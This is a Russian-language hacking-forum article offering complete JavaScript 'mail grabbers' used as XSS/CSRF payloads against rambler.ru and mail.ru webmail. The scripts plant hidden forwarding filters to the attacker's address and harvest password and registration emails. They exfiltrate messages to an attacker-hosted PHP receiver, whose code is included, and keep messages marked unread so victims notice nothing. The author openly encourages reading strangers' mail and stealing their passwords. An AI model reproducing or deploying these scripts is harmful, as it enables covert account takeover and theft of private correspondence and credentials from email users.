Авторские статьи Грабберы почтовых сообщений на JavaScript

Discussion in 'Статьи' started by LeverOne, 21 Oct 2007.

  1. LeverOne

    LeverOne Elder - Старейшина

    Joined:
    22 Feb 2006
    Messages:
    52
    Likes Received:
    128
    Reputations:
    115
    Грабберы почтовых сообщений на JavaScript

    актуализировано
    на 25.11.2009

    Введение

    Статья адресована тем, кто уже в курсе того, что представляет собой атака класса XSS, и имеет первоначальные знания о программировании на яваскрипте. Отправным моментом для использования грабберов является ваше знание об активных или пассивных уязвимостях на почтовых сервисах. Их конкретные примеры не будут приведены в настоящей статье. Граббер - это, образно выражаясь, "надстройка" над уязвимостью XSS, то есть один из самых мощных инструментов ее эксплуатации. Я постараюсь подробно изложить все принципы работы представленных в данной статье примеров скриптов, основной задачей которых является пересылка тем или иным образом сообщений на ваш ящик (далее - сборщики почты).

    Зачем нужен сборщик почты?

    Граббер предназначен для более легкого и незаметного, а также надежного взлома. Вероятность встретить юзера, который задумается, прежде чем ввести пароль в ваш фейк, даже если это грамотный фейк, уже не так мала. Тем более, что не так мало людей уже имеют негативный опыт встреч с хек-сообществом. Мде....
    Очень часто, можно встретить в п/ящиках следы работы твоих предшественников: "письма счастья" от админов, "картинки" с расширением ".scr", ссылки на сайты с интересным содержимым. И долбят, и долбят бедного юзера со всех сторон! Неудивительно, что у некоторых из них вырабатывается вредная привычка думать до совершения каких-либо действий.
    Хак-детство у многих полнится такими эпизодами: отправляет письмо -> ждет пришествия кук. Ждет, ждет и ждет... не отходя от компа (искл.: естественные надобности), так как они могут "протухнуть", и тогда все усилия на нет. Надо начинать заново. Непонятно, кто вообще жертва в такой ситуации. Сборщик почты позволяет заниматься другими делами. Почитаете чужую почту, когда вам будет удобно.
    Также нередко в почтовом ящике оказываются письма с паролями от других сервисов. Этим письмам можно помочь там оказаться перед тем, как они дружно отправятся в ваш ящик или сниффер. Нередко эти пароли подходят и к самому п/я.

    Почему на Яваскрипте?

    Дело в том, что, скажем, на мейле можно устанавливать запрет сессий с разных IP и одновременных соединений. На рамблере также бесполезен обычный код отправки кук на сниффер, поскольку в числе пришедших туда кук вы не обнаружите сессионной куки, так как она недоступна для яваскрипта через document.cookie (httponly). В таких случаях куки жертвы будут вам бесполезны. И вам, и сборщику почты на php (или на другом серверном языке), но не сборщику на яваскрипте, ведь все его действия выполняются браузером юзера.
    Хотя объективности ради стоит отметить, что, с одной стороны, сборщик на пхп сработает в десять раз быстрее, с другой стороны, очень малое количество юзеров предпринимают повышенные меры безопасности в своем ящике. Но тем не менее такие встречаются, и к таким случаям нужно быть готовым.
    В статье мною будут разобраны конкретные примеры сборщиков на почтовых сервисах mail.ru, rambler.ru и инклудер фильтра в почте yandex.ru.

    RAMBLER.RU

    Общая концепция


    Интерфейс имеет возможность массовой пересылки, отметив большое количество сообщений, вы можете несколькими нажатиями отправить почту на другой ящик.

    Но пересылать всю почту подряд не следует по двум причинам:

    - Если вы попробуете переслать сообщение, определенное в качестве спама на рамблере, ящик будет заблокирован.
    - Если сообщение, которое вы попытаетесь переслать, будет заблокровано спам-фильтром внешнего почтовика, то на ящик юзера придет отчет о невозможности доставки с вашим почтовым адресом.

    Наш сборщик пересылает только регистрационные сообщения.

    Самая примечательная черта рамблера в том, что он никогда не имел защиты от подмены запросов. Поэтому Я привожу здесь характеристики рамлеровского фильтра-пересыльщика, практически не меняя то, что было более двух лет назад.

    Характеристика создания фильтра на рамблере:

    1. Создается в один POST-запрос.
    2. Реферрер не проверяется. А это значит, что его можно вовсю внедрять, даже не имея XSS, а просто пригласив авторизованного пользователя, куда угодно.

    Итак, принцип работы сборщика следующий:

    1. Внедрение фильтра.
    2. Пересылка сообщений:
    а) сбор названий всех папок,
    б) поиск сообщений по первой маске в текущей папке,
    в) отправка идентификаторов найденных сообщений на серверный пересыльщик (bounce.cgi),
    г) переход к следующей странице результатов поиска (если она имеется) и повторение г),
    д) переход к следующей маске (если она имеется) и повторение б)-г),
    e) отправка сбрасывающего результат поиска запроса (необходим),
    ж) переход к следующей папке (если она имеется) и повторение б)-e).


    1. Область объектов и глобальных переменных скрипта

    Code:
    /*/// --> :RamblerMail:       <-- /////
    
    ///// --> :LeverOne. 11.2009: <-- /////
    
    ///// --> :Example:           <-- /////
    
    javascript:
    with(window) toemail='[email protected]', forward=true 
    //, include=false %0A
    ;with(document) getElementsByTagName('head').item(0).appendChild( createElement('script')).src='http://yoursite.xz/ram_adv.js';
    void(0);
    
    ///*/
    
    
    include = window.include == false ? false : true;
    toemail = window.toemail || false;
    forward = window.forward || false;
    mask = ['%D0%B0%D1%80%D0%BE%D0%BB%D1%8C%3A', 'assword%3A'];
    
    var mask_index, folders, folders_index;
    
    include && toemail ? include_filter() : (forward && toemail ? get_folders() : false);
    
    Что вам нужно указать обязательно?

    1. Свой почтовый ящик, куда будет установлена пересылка. (toemail).

    Необязательные настройки:

    1. Внедрение фильтра (include=true, по умолчанию включено).
    2. Пересылка сообщений с рег. информацией (forward=true , по умолчанию выключена).
    3. В качестве маски выбраны две подстроки : "ароль:", "assword:" в encodeURIComponent-кодировании.

    Все необходимые параметры вы имеете возможность указывать непосредственно при запуске скрипта, не трогая исходный код. Пример запуска вы лицезреете в коде.

    2. Универсальная функция запроса

    С помощью этой функции работают почти все остальные. Имеет четыре параметра - метод и адрес запроса, пост-параметры и функция обработки ответа сервера.

    Code:
    function requester(method, url, postdata, func) {
      try {r = new XMLHttpRequest()} catch(err) {r = new ActiveXObject('Msxml2.XMLHTTP')}
      r.open(method, url);
      if (method == 'POST') r.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');   
      r.onreadystatechange = func;
      r.send(postdata);
    }
    
    3. Внедрение фильтра

    Еще раз обращу внимание: на текущий момент сработает, откуда угодно.

    Code:
    function include_filter() {
      document.body.innerHTML += '<iframe style=display:none name=myfr><\/iframe>' +
                                 '<form action=http://mail.rambler.ru/mail/rules.cgi method=post target=myfr id=myform>' +
                                 '<input type=hidden name=mode value=rules>' +
                                 '<input type=hidden name=rdr_enabled value=on>' +
                                 '<input type=hidden name=redirect value=' + toemail + '>' +
                                 '<input type=hidden name=rdr_keep_copy value=on>' +
                                 '<input type=hidden name=rdr_preserve_hdr value=on>' +
                                 '<input type=hidden name=save value=1><\/form>';
      document.getElementById('myform').submit();
      forward && toemail ? get_folders() : false;
    }
    
    4. Cбор названий папок

    Code:
    function get_folders() {
      requester('GET', 'http://mail.rambler.ru/mail/mailboxes.cgi', null,
                 function() {
                   if (r.readyState == 4) {
                       folders = r.responseText.match (/<\/div><a href="mailbox.cgi\?mbox=.+?(?=%26)/gi);
                       for (n = 0; n < folders.length; n++) folders[n] = folders[n].substring(32);
                       search_ids(folders_index = 0, mask_index = 0);
                   }
                 }
               );
    }
    
    5. Поиск и отправка сообщений на пересылку на первой странице текущей папки

    Code:
    function search_ids() {
      requester('POST', 'http://mail.rambler.ru/mail/mailbox.cgi', 'mbox=' + folders[folders_index] + '&search=' + mask[mask_index],
                 function() {
                   if (r.readyState == 4) {
                       ids = r.responseText.match(/\d+(?=" class="checkbox)/gi) || '';
                       is_next_page = r.responseText.indexOf('"next-page-link"');
                       if (ids.length > 0)
                             requester('POST', 'http://mail.rambler.ru/mail/bounce.cgi',
                                       '&mbox=' + folders[folders_index] + '&msgs=' + encodeURIComponent('' + ids) + '&to=' + encodeURIComponent(toemail) + '&Send=1', null
                                      );
                       if (is_next_page != -1) get_next_page(2);
                       else if (mask[++mask_index]) search_ids();
                       else if (folders[++folders_index]) {
                          requester('GET', 'http://mail.rambler.ru/mail/mailbox.cgi?mbox=' + folders[folders_index - 1] + '&search=', null, null);
                          search_ids(mask_index = 0);
                       } else
                          requester('GET', 'http://mail.rambler.ru/mail/mailbox.cgi?mbox=' + folders[folders.length - 1] + '&search=', null, null);
                   }
                 }
               );
    }
    
    6. Отправка сообщений на пересылку на последующих страницах текущей папки

    Если результаты поиска сообщений будут расположены на нескольких страницах, заработает эта функция.

    Code:
    function get_next_page(page) {
      requester('GET', 'http://mail.rambler.ru/mail/mailbox.cgi?mbox=' + folders[folders_index] + '&page=' + page, null,
                 function() {
                   if (r.readyState == 4) {
                       ids = r.responseText.match(/\d+(?=" class="checkbox)/gi);
                       is_next_page = r.responseText.indexOf('"next-page-link"');
                       requester('POST', 'http://mail.rambler.ru/mail/bounce.cgi',
                                       '&mbox=' + folders[folders_index] + '&msgs=' + encodeURIComponent('' + ids) + '&to=' + encodeURIComponent(toemail) + '&Send=1', null
                                      );
                       if (is_next_page != -1) get_next_page(++page);
                       else if (mask[++mask_index]) search_ids();
                       else if (folders[++folders_index]) {
                          requester('GET', 'http://mail.rambler.ru/mail/mailbox.cgi?mbox=' + folders[folders_index - 1] + '&search=', null, null);
                          search_ids(mask_index = 0);
                       } else
                          requester('GET', 'http://mail.rambler.ru/mail/mailbox.cgi?mbox=' + folders[folders.length - 1] + '&search=', null, null);
                   }
                 }
               );
    }
    
    7. Эффекты работы скрипта

    - Во время исполнения: никаких.
    - После: если включено внедрения фильтра, в соответствующей странице с настройками будет виден фильтр.


    Статус сообщений не меняется.


    JS-брутфорс почтовых сообщений на rambler.ru

    Работа данного брутфрса - это примерно также больно. Хотя сам по себе он - вещь примечательная тем, что может работать без XSS с любого домена, лишь бы пользователь рамблера был авторизован.

    Поскольку все запросы делаются через формы, браузер будет показывать, что он что-то загружает, пока выполняется перебор.

    Принцип действия:

    1. Внедрение фильтра.
    2. Слепая отправка сообщений в заданном интервале (range=[nachalo, konchalo], по умолчанию range=[1,50] , - будут отправлены первые 50 сообщений в каждой папке). Слепая отправка плоха тем, что как только серверный пересыльщик встречает порядковый номер письма, которое не существует, дальнейшая пересылка сообщений в очереди прекращается. Отсутствие письма может быть вызвано его удалением. Поэтому могут прийти не все сообщения из выбранного диапазона. Её плюс очевиден - все происходит одномоментно. Эдакая ставка на фарт.
    3. Брутфорс. Из выбранного диапазона скрипт пробует отправить каждое письмо в отдельности.
    4. Скрипт записывает данные об отправленном иде сообщения в куку (сохраняющуюся 30 дней), поэтому в следующий раз в том же домене он начнет перебирать с последнего отправленого сообщения.

    Настройки:

    1. toemail - ваш ящик (обязательно).
    2. include - внедрение фильтра (по умолчанию включено);
    2. forward - слепая пересылка (по умолчанию включена).
    3. brute - перебор сообщений по отдельности (по умолчанию выключен).
    4. range - интервал.

    И помните, использование перебора сообщений по отдельности не рекомендуется по многим уже названным причинам.

    Code:
    /*/// --> :RamblerMail MessageBruteforce: <-- /////
    
    ///// --> :LeverOne. 11.2009:             <-- /////
    
    ///// --> :Example:                       <-- /////
    
    javascript:
    with(window) toemail='[email protected]' 
    //, forward=false , include=false, range=[1:50], brute=false %0A
    ;with(document) getElementsByTagName('head').item(0).appendChild( createElement('script')).src='http://yoursite.xz/ram_brute.js';
    void(0);
    
    ///*/
    
    toemail = window.toemail || false;
    include = window.include == false ? false : true;
    brute = window.brute == false ? false : true;
    forward = window.forward == false ? false : true;
    
    with (valid_until = new Date()) setTime(getTime()+30*24*60*60*1000);
    var folders_index, ids;
    
    min_message = window.range ? window.range[0] : 1;
    max_message = window.range ? window.range[1] : 50;
    
    folders = [['SentBox',  +document.cookie.match(/\d+(?=,SentBox)/)  || min_message, max_message].reverse(),
               ['INBOX',    +document.cookie.match(/\d+(?=,INBOX)/)    || min_message, max_message].reverse(),
               ['Trash',    +document.cookie.match(/\d+(?=,Trash)/)    || min_message, max_message].reverse(),
               ['DraftBox', +document.cookie.match(/\d+(?=,DraftBox)/) || min_message, max_message].reverse()
              ];
    
    document.body.innerHTML += '<iframe style=display:none name=myfr1><\/iframe>' +
                               '<form action=http://mail.rambler.ru/mail/bounce.cgi  method=post target=myfr1 id=myform1>' +
                               '<input type=hidden name=mbox>' +
                               '<input type=hidden name=msgs>' +
                               '<input type=hidden name=to value=' + toemail + '>' + 
                               '<input type=hidden name=Send value=1><\/form>';
    
    include && toemail ? include_filter() : (forward && toemail ? send_all_ids(get_ids(folders_index = 0)) : false);
    
    function include_filter() {
      document.body.innerHTML += '<iframe style=display:none name=myfr2><\/iframe>' +
                                 '<form action=http://mail.rambler.ru/mail/rules.cgi method=post target=myfr2 id=myform2>' +
                                 '<input type=hidden name=mode value=rules>' +
                                 '<input type=hidden name=rdr_enabled value=on>' +
                                 '<input type=hidden name=redirect value=' + toemail + '>' +
                                 '<input type=hidden name=rdr_keep_copy value=on>' +
                                 '<input type=hidden name=rdr_preserve_hdr value=on>' +
                                 '<input type=hidden name=save value=1><\/form>';
      document.getElementById('myform2').submit();
      forward && toemail ? send_all_ids(get_ids(folders_index = 0)) : false;
    }
    
    function get_ids() {
      for (ids = [] , max = folders[folders_index][0]; folders[folders_index][1] <= max ; ids.push(max--));
    }
    
    function send_all_ids() {
      if (ids.length > 0) {
         with (document.getElementById('myform1')) 
           submit(mbox.value = folders[folders_index][2], msgs.value = '' + ids.reverse());
           setTimeout('if (folders[++folders_index]) send_all_ids(get_ids()); else if (brute) send_ids(get_ids(folders_index = 0))', 1000);
      } else if (folders[++folders_index])
         send_all_ids(get_ids());
      else if (brute)
         send_ids(get_ids(folders_index = 0));
    }
    
    function send_ids() {
      if (ids.length > 0) {
          with (document.getElementById('myform1'))
            submit(mbox.value = folders[folders_index][2], msgs.value = folders[folders_index][1] = ids.pop());
            document.cookie = 'control=' + folders +'; expires=' + valid_until.toGMTString();
            setTimeout('send_ids()', 1000);
      } else if (folders[++folders_index])
           send_ids(get_ids());
    }
    
    ==>>>
     
    #1 LeverOne, 21 Oct 2007
    Last edited: 25 Nov 2009
    11 people like this.
  2. LeverOne

    LeverOne Elder - Старейшина

    Joined:
    22 Feb 2006
    Messages:
    52
    Likes Received:
    128
    Reputations:
    115
    продолжение

    MAIL.RU

    1. Общее описание

    На этом почтовом сервисе дело обстоит не так просто. Массовой пересылки нет. Пересылка в течение короткого времени нескольких единичных сообщений в интерфейсе win.mail.ru влечет необходимость ввода числа на каптче в одной из следующих попыток. Следовательно, переложить на сервер бремя отправки почты юзера, как это сделано на рамблере, нам не удасться.
    Выход один: будем отправлять почту через сам браузер. С необходимостью возникает вопрос о методе - post или get?

    Многолетний опыт показывает, что отправлять большие сообщения гетом на сниффер, разделяя слишком большие из них на несколько частей, - это всё равно, что рассовывать слонов по карманам. Но раньше другого выхода не было, поскольку пост-метод громко заявлял о себе индикатором в статус-баре. В настоящее время созданы условия, при которых все браузеры последнего поколения (Opera 10, IE 8, FF 3.5, Safari 4, GChrome 3) единообразно поддерживают механизм postMessage, описанный в HTML5 (подробнее: _http://javascript.ru/ajax/cross-origin-2#html5:postmessage). Поддержка кроссдоменного XMLHttp благодаря IE на данный момент не является единообразной.

    Нами будет использован следующий механизм отправки пост-методом:

    1) Через innerHTML (оптимальный вариант) скрипт создает невидимую форму.
    2) Tаким же образом создается нулевой ифрейм с адресом нашего скрипта-приемника, содержащий код, который будет слушать поступающие к нему postMessage и пересылать их на сохранение тому же приемнику обычным XMLHttp.
    3) Если браузер не поддерживает HTML5, то этот же ифрейм будет использоваться в качестве канализатора (form target=frame_name), дабы наша страница не обновлялась при сабмите формы, в которую вставлено скаченное браузером сообщение.

    У рассматриваемого сервиса с не столь давних времен появился аякс-интерфейс, частично совместимый с оригинальным интерфейсом. Эта частичная совместимость проявляется в том, что письма даже на домене win.mail.ru можно получать в очень компактном виде json-строки (можете проверить: _http://win.mail.ru/cgi-bin/ajax_readmsg?ajax_call=1&func_name=ajax_get_msg_data&data=["11111111111111111111"]). Из этой строки можно вытянуть почти все данные о письме: адреса аттачей, статус сообщения, тему, дату и т.д. В этом же виде вы увидите эти сообщения сохраненными. Для просмотра их в более привычном виде, можно написать отдельную программу, пока же отдадим приоритет простоте.

    В настоящее время есть ещё одна интересная возможность пересыльщика на mail.ru - возможность запуска, используя xss c поддоменов, отличающихся от win.mail.ru, pro.mail.ru - реализовано с помощью управления свойством document.domain (подробнее: _http://javascript.ru/ajax/cross-domain-scripting#kross-domennyy-skripting-s-obshchim-naddomenom). Если скрипт определяет, что его расположение отличается от означенных выше почтовых доменов, он изменяет свойство domain текущего документа на 'mail.ru', подрубается к http://win.mail.ru/cgi-bin/search (на этой странице он находит такой же domain) и делает запросы, уже используя объекты XMLHttp, созданные на поддомене win.mail.ru.

    Общая схема работы сборщика:

    1) Определение места своего запуска и выбор вариантов работы: с win.mail.ru, pro.mail.ru или с другого поддомена.
    2) Сбор идов всех папок (если нужно).
    3) Сбор всех идов писем на одной странице в массив.
    4) Получение письма.
    5) Отправка письма.
    6) Повторение 4-5, пока не закончатся иды в массиве.
    7) Переход к другой странице (если таковая имеется), повторение 3-6.
    8) Переход к другой папке, повторение 3-7.

    Фильтр. Установка фильтра обусловлена вводом текущего пароля, поэтому в этом направлении ловить нечего.

    1. Глобальная область скрипта

    Code:
    /*/// --> :Mail.ru:                       <-- /////
    
    ///// --> :LeverOne. 11.2009:             <-- /////
    
    ///// --> :Example:                       <-- /////
    
    javascript:
    with(window) dumper='http://yoursite.xz/dumper.php' 
    //, grab_all=true  %0A
    ;with(document) getElementsByTagName('head').item(0).appendChild( createElement('script')).src='http://yoursite.xz/mail_all.js';
    void(0);
    
    ///*/
    
    dumper   = window.dumper   || false;
    grab_all = window.grab_all || false;
    
    mask = '%EE%F1%F2%F3%EF%7c' + '%e5%e3%e8%f1%f2%f0%7cignup%7cegist' + '%7c%e0%f0%ee%eb%7c%ee%e4%f2%e2%e5%f0%7c%ee' + '%e6%e0%eb%ee%e2%7c%ea%f2%e8%e2%7c%ee%e4%ef%e8%f1'  ;
    email = document.cookie.match(/:.+:(.+):/)[1];
    var r, ids=[], ids_index, folders, folders_index, page, is_next_page, context = window;
    
    document.body.innerHTML += '<iframe name=myFrame src=' + dumper + '?action=sender style=display:none><\/iframe>';
    
    if (!window.postMessage) document.body.innerHTML += '<form id=myForm method=post action=' + dumper + ' style=display:none target=myFrame><input name=action value=save><input name=message><input name=email value=' + email + '><\/form>';
    
    if (dumper != false) 
        switch (location.hostname) {
          case 'win.mail.ru':
          case 'koi.mail.ru':
            grab_all ? get_folders_html() : get_ids_html(1);
            break;
          case 'pro.mail.ru':
            ajax = true;
            grab_all ? get_folders_ajax() : get_ids_ajax();
            break;
          default:
            /* if xss on [sub].mail.ru  */
            try {document.domain = 'mail.ru'} catch(er){}
            document.body.innerHTML += '<iframe src=http://win.mail.ru/cgi-bin/search style=display:none onload="context=this.contentWindow; grab_all ? get_folders_html() : get_ids_html(1);"><\/iframe>';
        }
    
    Указываете адрес вашего скрипта-приемника (dumper.php). Это можно сделать при запуске, не трогая код: dumper='http://myhost.xz/dumper.php'; with(document) getElementsByTagName('head').item(0).appendChild( createElement('script')).src='adres_do_ckripta';

    grab_all - это переменная отвечающая за режим отправки. Скрипт имеет два режима: полный сбор всех сообщений (grab_all=true) и сбор по маске (grab_all=false, сама маска задается в переменной mask). По умолчанию режим полной пересылки выключен. Режим полной отправки также можно установить динамически при запуске. Режим сбора по маске - это особый режим! Здесь скрипт ищет определенные совпадения в теме сообщения и отсылает только те письма, которые содержат эту интересующую нас тему. Смысл этой настройки очевидна - экономия времени за счет отсеивания писем с безынтересным для нас содержанием.

    Я установил несколько шаблонов, которые будут встречаться в темах писем с данными регистрации, напоминанием пароля и т.п. (оступ|егистр|ignup|egist|арол|одтвер|ожалов|ктив|одпис);

    Сбор по маске очень удобен в сочетании с "незапрошенным напоминанием пароля": вы пробиваете по куче сервисов, где может быть зарегистрирован пользователь, его ящик, напоминая ему пароль (где он не изменяется при этом). Вместе с этой веселой кучей напоминаний отправляется ваше не менее веселое сообщение с XSS.

    Далее в этом куске кода вы также можете видеть:

    - вставку ифрейма со слушателем postMessage
    - вставку формы, если браузер не поддерживает HTML5
    - определение местонаходжения сборщика и вставка ифрейма, если сборщик запускается не на почтовых субдоменах.
    - запуск функций в зависимости от расположения сборщика и режима сбора писем.

    Теперь коротко пройдем по функциям.

    2. Универсальная функция запроса

    С помощью этой функции работают все остальные. Имеет два параметра - урл, куда нужно подключаться, и ,второй параметр, - функция обработки ответа сервера.

    Code:
    
    function requester(url, func) {
      try {r = new context.XMLHttpRequest()} catch(err) {r = new context.ActiveXObject('Msxml2.XMLHTTP')}
      r.open('GET', url);
      r.onreadystatechange = func;
      r.send(null);
    }
    
    
    3. Получение всех папок

    Эти функции используются только тогда, когда выбран режим полного сбора. Их две - по одной на html- и ajax-интерфейс. В случае с ajax-интерфейсом иды выделяются из json-строки путем ее интерпретации. Одновременно в аякс-интерфейсе получаются и все иды входящих писем, и запускается получение их тела.

    Code:
    function get_folders_html() {
      requester('http://win.mail.ru/cgi-bin/folders', 
                 function() {
                   if (r.readyState == 4) {
                       folders = r.responseText.match(/msglist\?folder=\d+/g);
                       get_all_ids_html(folders_index = 0, page = 1);
                   }
                 }
               );
    }
    
    function get_folders_ajax() {
      requester('http://pro.mail.ru/cgi-bin/mailbox?ajax_call=1&func_name=ajax_get_mailbox_data&data=%5B0%2C%22D%22%5D',
                 function() {
                   if (r.readyState == 4) {
                       folders = eval(r.responseText)[2].fList;
                       ids = eval(r.responseText)[2].mList;
                       ids[ids_index = 0] ? get_message(folders_index = 0) : get_all_ids_ajax(folders_index = 1);
                   }
                 }
               );
    }
    
    4. Получение идентификаторов всех писем

    В html-интерфейсе мы получаем иды писем постранично, в ajax-интерфейсе мы можем получить все иды в папке одномоментно. А можем теоретически получить вообще все письма в ящике, но тогда возникнет проблема с их сортировкой.

    Code:
    function get_all_ids_html() {
      requester('http://win.mail.ru/cgi-bin/' + folders[folders_index] + '&page=' + page, 
                 function() {
                   if (r.readyState == 4) {
                       response = r.responseText;
                       is_next_page = (response.indexOf('&'+'#8250') != -1) ? true : false;
                       ids = response.match(/\d{20}(?="><\/td>)/gi) || '';
                       ids[ids_index = 0] ? get_message() : (folders[++folders_index] ? get_all_ids_html(page = 1) : false); 
                   }
                 }
               );
    }
    
    function get_all_ids_ajax() {
      requester('http://pro.mail.ru/cgi-bin/mailbox?ajax_call=1&func_name=ajax_get_mailbox_data&data=%5B' + folders[folders_index].ID + '%2C%22D%22%5D',
                function() {
                  if (r.readyState == 4) {
                      ids = eval(r.responseText)[2].mList;
                      ids[ids_index = 0] ? get_message() : (folders[++folders_index] ? get_all_ids_ajax() : false);
                  }
                }
               );
    }
    
    5. Получение идентификаторов писем, отобранных по маске

    Функции отбирают письма по маске, используя поиск писем почтовой службы.

    Code:
    function get_ids_html() {
     requester('http://win.mail.ru/cgi-bin/search?page=' + page + '&sortby=d&q_subj=' + mask + '&qc_subj=1&q_folder=all', 
                function() {
                   if (r.readyState == 4) {
                       ids = (r.responseText.match(/\d{20}(?="><\/td>)/gi) || '').concat(ids) || '';
                       r.responseText.indexOf('&'+'#8250;') != -1 ? get_ids_html(++page): (ids[ids_index = 0] ? get_message() : false);
                   }
                 }
              );
    }
    
    function get_ids_ajax() {
      requester('http://pro.mail.ru/cgi-bin/ajax_search?' + 'q_folder=all&qc_subj=1&q_subj=' + mask,
                 function() {
                  if (r.readyState == 4) {
                      ids = r.responseText.match(/\d{20}(?=_msg)/g) || '';
                      if (ids[ids_index = 0]) get_message(ids[ids_index]);
                  }
                }
               );
    }
    
    6. Получение и отправка каждого письма

    Эта функция едина для любого интерфейса по причинам, названным выше.
    Здесь же производится проверка статуса сообщения - если оно непрочитано (FlagUnread = 1), посылается команда сделать его непрочитанным, таким образом, статус его не меняется.

    Code:
    function get_message() {
      requester('http://' + context.location.hostname + '/cgi-bin/ajax_readmsg?ajax_call=1' + '&func_name=ajax_get_msg_data&data=%5B%22' + ids[ids_index] + '%22%5D',
                 function() {
                   if (r.readyState == 4) {
                       message = r.responseText;
                       if (eval(message)[2].FlagUnread) requester('http://' + context.location.hostname + '/cgi-bin/ajax_markmsg?ajax_call=1&func_name=ajax_mark_msg' + '&data=%5B%5B%7B%22msgId%22%3A%22' + ids[ids_index] + '%22%2C%22mark%22%3A1%7D%5D%5D', null);
                       message = encodeURIComponent(message);
                       if (window.postMessage) /* HTML 5 */
                           document.getElementsByName( 'myFrame')[0].contentWindow.postMessage( 'action=save&email=' + email + '&message=' + message, '*');
                       else                    /* HTML<5 */
                         document.getElementById('myForm').submit( document.getElementById( 'myForm').message.value = message);
                       ids[++ids_index] ? get_message() : 
                         (window.is_next_page ? get_all_ids_html(++page) : (folders[++folders_index] ? (window.ajax ? get_all_ids_ajax() : get_all_ids_html(page = 1)): false));
                   }
                 }
               );
    }
    
    7. Эффекты работы скрипта

    Во время работы:
    Если браузер поддерживает postMessage - никаких.
    Если не поддерживает - будет мелькать адрес скрипта приемника и появляться прогресс-бар, если велик объем отправляемых данных.
    После работы:
    Никаких следов работы скрипта в ящике не остается.


    JS-cборщик сообщений на mail.ru, работающий только по маске

    Также написан такой вот сборщик для тех, кто полную пересылку считает лишней (к ним отношусь сам).

    Code:
    /*/// --> :Mail.ru:                       <-- /////
    
    ///// --> :LeverOne. 11.2009:             <-- /////
    
    ///// --> :Example:                       <-- /////
    
    javascript:
    with(window) dumper='http://yoursite.xz/dumper.php';
    with(document) getElementsByTagName('head').item(0).appendChild( createElement('script')).src='http://yoursite.xz/mail_adv.js';
    void(0);
    
    ///*/
    
    dumper = window.dumper || false; 
    
    mask = '%EE%F1%F2%F3%EF%7c' + '%e5%e3%e8%f1%f2%f0%7cignup%7cegist' + '%7c%e0%f0%ee%eb%7c%ee%e4%f2%e2%e5%f0%7c%ee' + '%e6%e0%eb%ee%e2%7c%ea%f2%e8%e2%7c%ee%e4%ef%e8%f1'  ;
    email = document.cookie.match(/:.+:(.+):/)[1];
    var r, ids=[], ids_index, context = window;
    
    document.body.innerHTML += '<iframe name=myFrame src=' + dumper + '?action=sender style=display:none><\/iframe>';
    
    if (!window.postMessage) document.body.innerHTML += '<form id=myForm method=post action=' + dumper + ' style=display:none target=myFrame><input name=action value=save><input name=message><input name=email value=' + email + '><\/form>';
    
    if (dumper != false)
        switch (location.hostname) {
          case 'win.mail.ru':
          case 'koi.mail.ru':
            get_ids_html(1);
            break;
          case 'pro.mail.ru':
            get_ids_ajax();
            break;
          default:
            /* if xss on [sub].mail.ru  */
            try {document.domain = 'mail.ru'} catch(er){}
            document.body.innerHTML += '<iframe src=http://win.mail.ru/cgi-bin/search style=display:none onload="context=this.contentWindow; get_ids_html(1)"><\/iframe>';
        }
    
    function get_ids_html(page) {
      requester('http://win.mail.ru/cgi-bin/search?page=' + page + '&sortby=d&q_subj=' + mask + '&qc_subj=1&q_folder=all', 
                 function() {
                   if (r.readyState == 4) {
                       ids = (r.responseText.match(/\d{20}(?="><\/td>)/gi) || '').concat(ids) || '';
                       r.responseText.indexOf('&'+'#8250;') != -1 ? get_ids_html(++page): (ids[ids_index = 0] ? get_message() : false);
                   }
                 }
               );
    }
    
    function get_ids_ajax() {
      requester('http://pro.mail.ru/cgi-bin/ajax_search?' + 'q_folder=all&qc_subj=1&q_subj=' + mask,
                 function() {
                   if (r.readyState == 4) {
                       ids = r.responseText.match(/\d{20}(?=_msg)/g) || '';
                       if (ids[ids_index = 0]) get_message();
                   }
                 }
               );
    }
    
    function get_message() {
      requester('http://' + context.location.hostname + '/cgi-bin/ajax_readmsg?ajax_call=1' + '&func_name=ajax_get_msg_data&data=%5B%22' + ids[ids_index] + '%22%5D',
                 function() {
                   if (r.readyState == 4) {
                       message = r.responseText;
                       if (eval(message)[2].FlagUnread) requester('http://' + context.location.hostname + '/cgi-bin/ajax_markmsg?ajax_call=1' + '&data=%5B%5B%7B%22msgId%22%3A%22' + ids[ids_index] + '%22%2C%22mark%22%3A1%7D%5D%5D' + '&func_name=ajax_mark_msg', null);  
                       message = encodeURIComponent(message);
                       if (window.postMessage) /* HTML 5 */
                           document.getElementsByName( 'myFrame')[0].contentWindow.postMessage( 'action=save&email=' + email + '&message=' + message, '*');
                       else                    /* HTML<5 */
                           document.getElementById('myForm').submit( document.getElementById( 'myForm').message.value = message);
                       if (ids[++ids_index]) get_message();
                   }
                 }
               );
    }
    
    function requester(url, func) {
      try {r = new context.XMLHttpRequest()} catch(err) {r = new context.ActiveXObject('Msxml2.XMLHTTP')}
      r.open('GET', url);
      r.onreadystatechange = func;
      r.send(null);
    }
    
    Приемник
    dumper.php
    PHP:
    <?php
    error_reporting
    (0);
    if (
    $_REQUEST['action'] == 'sender')
       {
    ?>

    <html>
    <body>
    <script>
    if (window.addEventListener) {
        window.addEventListener('message', listener, false);
    } else {
        window.attachEvent('onmessage', listener);
    }

    function listener(event) {
      with (new XMLHttpRequest()) 
         open('POST', 'http://<?php echo ($_SERVER['SERVER_NAME'].$_SERVER['SCRIPT_NAME']) ?>'),
         setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'),
         send(event.data);
    }
    </script>
    </body>
    </html>

    <?php
        
    die();
       }
    else if(
    $_REQUEST['action'] == 'save')
       {
        
    $_REQUEST['email'] = rawurldecode($_REQUEST['email']);
        if (!
    get_magic_quotes_gpc()) $_REQUEST['email'] = addslashes($_REQUEST['email']);
        
    $fp fopen("./" .$_REQUEST['email']. ".txt""ab") or die();
        
    fwrite($fprawurldecode($_REQUEST['message'])."\r\n\r\n");
        
    fclose($fp);
       }

    ?>
    В результате должен появиться файл txt с именем e-mail'ла и регистрационной информацией.

    Синтетическое решение: _https://forum.antichat.ru/showpost.php?p=1405040&postcount=7
     
    #2 LeverOne, 21 Oct 2007
    Last edited: 25 Nov 2009
  3. LeverOne

    LeverOne Elder - Старейшина

    Joined:
    22 Feb 2006
    Messages:
    52
    Likes Received:
    128
    Reputations:
    115
    продолжение

    YANDEX.RU

    Два года назад Я накатал по этой теме > 30000 символов, теперь же просто отошлю вас к ссылке выше, скрипт по которой снимает всю необходимость в js-сборщике.

